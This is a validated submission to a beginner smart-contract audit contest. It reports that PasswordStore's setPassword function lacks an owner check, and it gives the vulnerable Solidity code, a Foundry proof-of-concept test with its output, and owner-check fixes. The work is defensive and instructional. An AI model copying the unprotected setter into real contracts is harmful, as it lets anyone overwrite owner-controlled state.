First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can set the password by calling `PasswordStore::setPassword`

ciaranightingale

Summary

The PasswordStore contract assumes that only the owner can set the password. The setPassword() function modifies the s_password storage variable, where the password is set, but doesn't include access control meaning that anyone, including a malicious actor, can reset the owner's password.

Vulnerability Details

This vulnerability exists in the PasswordStore::setPassword function in the PasswordStore.sol file starting on line 26.

The setPassword() function includes no access controls meaning that anyone can call it and modify the password:

/*
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}

To restrict who can modify the password, there needs to be a check that the function caller, the msg.sender, is the owner of the contract.

Impact

A possible potential use case for this contract is that the owner, the address stored in the storage variable s_owner, wants to use the contract as a password manager. If someone else can modify the password then the contract will not return the password they intended to store. This negates the intended use of the contract.

Since anyone, inluding malicious actors, can set the password, this opens up to the possibility that, depending on the context, these unsantisied and potentially malicious strings could be dangerous.

As per the following NatSpec comment: This function allows only the owner to set a new password, only the owner being able to set the password is the core assumtion, and functionality that does not hold, this is a high severity vulnerability.

Proof of Concept

Working Test Case

The makeAddr helper function is used to setup an attacker address to call the setPasword() function:

contract PasswordStoreTest is Test {
PasswordStore public passwordStore;
DeployPasswordStore public deployer;
address public owner;
+ address public attacker;
​
function setUp() public {
deployer = new DeployPasswordStore();
passwordStore = deployer.run();
owner = msg.sender;
// attacker address
+ attacker = makeAddr("attacker");
}
}

The following test, sets the password to "attackerPassword" using the attacker address. When run, this test will pass, demonstrating that the attacker can set the password:

function test_poc_non_owner_set_password() public {
// initiate the transaction from the non-owner attacker address
vm.prank(attacker);
string memory newPassword = "attackerPassword";
// attacker attempts to set the password
passwordStore.setPassword(newPassword);
console.log("The attacker successfully set the password:" newPassword);
}

Run the test:

forge test --mt test_poc_non_owner_set_password -vvvv

Which yields the following output:

unning 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_poc_non_owner_set_password() (gas: 20776)
Logs:
The attacker successfully set the password: attackerPassword
​
Traces:
[20776] PasswordStoreTest::test_poc_non_owner_set_password()
├─ [0] VM::prank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [6686] PasswordStore::setPassword(attackerPassword)
│ ├─ emit SetNetPassword()
│ └─ ← ()
├─ [0] console::log(The attacker successfully set the password: attackerPassword) [staticcall]
│ └─ ← ()
└─ ← ()
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.36ms

Recommended Mitigation

Include access control to restrict who can call the setPassword function to be only the owner: s_owner. This can be achieved in two ways:

  1. Using an if statement, as used in the getPassword function, and revert with the PasswordStore__NotOwer() custom error if the address calling the function is not the owner:

function setPassword(string memory newPassword) external {
// @audit check that the function caller is the owner of the contract
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
s_password = newPassword;
emit SetNetPassword();
}

  1. Using an access modifier e.g. OpenZeppelin's onlyOwner. To use this modifier, the PasswordStore contract will need to inherit from OpenZeppelin's Ownable contract and call it's constructor inside the constructor of PasswordStore:

// @audit import the ownable contract from OpenZeppelin
+ import "@openzeppelin/contracts/ownership/Ownable.sol";
​
// @audit inherit from the Ownable contract
+ contract PasswordStore is Ownable{
error PasswordStore__NotOwner();
​
address private s_owner;
string private s_password;
​
event SetNetPassword();
​
+ constructor() Ownable() {
s_owner = msg.sender;
}
}

As per the OpenZeppelin documentation, by default, the owner of an Ownable contract is the account that deployed it, meaning that the s_owner state variable can be removed.

Using onlyOwner modifier adds logic to check that the msg.sender is the owner of the contract before executing the function's logic:

/*
* @notice This function allows only the owner to set a new password.
* @param newPassword The new password to set.
*/
+ function setPassword(string memory newPassword) external onlyOwner {
s_password = newPassword;
emit SetNetPassword();
}

Tools Used

Updates

Lead Judging Commences

inallhonesty Lead Judge
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.